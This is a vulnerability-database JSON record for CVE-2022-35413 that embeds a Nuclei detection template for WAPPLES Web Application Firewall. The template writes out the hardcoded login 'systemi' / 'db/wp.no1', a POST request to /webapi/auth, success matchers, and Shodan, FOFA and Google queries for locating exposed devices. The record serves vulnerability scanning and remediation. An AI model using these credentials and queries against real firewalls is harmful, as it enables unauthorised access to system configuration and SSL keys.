{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-35413/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-35413/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-35413/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-35413/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-35413/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-35413"},"sightings":{"href":"/api/v1/sightings/cve-2022-35413"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-35413.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-35413\n\ninfo:\n  name: WAPPLES Web Application Firewall <=6.0 - Hardcoded Credentials\n  author: For3stCo1d\n  severity: critical\n  description: |\n    WAPPLES Web Application Firewall through 6.0 contains a hardcoded credentials vulnerability. It contains a hardcoded system account accessible via db/wp.no1, as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file. An attacker can use this account to access system configuration and confidential information, such as SSL keys, via an HTTPS request to the /webapi/ URI on port 443 or 5001.\n  impact: |\n    An attacker can exploit this vulnerability to gain unauthorized access to the WAPPLES Web Application Firewall.\n  remediation: |\n    Upgrade to a version of WAPPLES Web Application Firewall that does not contain hardcoded credentials or apply the vendor-provided patch to fix the vulnerability.\n  reference:\n    - https://medium.com/@_sadshade/wapples-web-application-firewall-multiple-vulnerabilities-35bdee52c8fb\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35413\n    - https://azuremarketplace.microsoft.com/en/marketplace/apps/penta-security-systems-inc.wapples_sa_v6?tab=Overview\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-35413\n    - https://www.pentasecurity.com/product/wapples/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-35413\n    cwe-id: CWE-798\n    epss-score: 0.17979\n    epss-percentile: 0.97085\n    cpe: cpe:2.3:a:pentasecurity:wapples:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: pentasecurity\n    product: wapples\n    shodan-query:\n      - http.title:\"Intelligent WAPPLES\"\n      - http.title:\"intelligent wapples\"\n    fofa-query: title=\"intelligent wapples\"\n    google-query: intitle:\"intelligent wapples\"\n  tags: cve,cve2022,wapples,firewall,default-login,pentasecurity,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /webapi/auth HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        id={{username}}&password={{password}}\n\n    payloads:\n      username:\n        - systemi\n      password:\n        - db/wp.no1\n    attack: pitchfork\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"res_msg\":\"Authentication Success.\"'\n          - '\"doc_id\":\"user_systemi\"'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - WP_SESSID=\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220429acbaafe8c71fd3d615aba9a0c9659f8c5c7ef6645e768a77d31ae19c2596002200f3af608fa2d8144c474dfe5b7b838d7478363115bf103fb6bbb94a28bf9503f:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-35413"}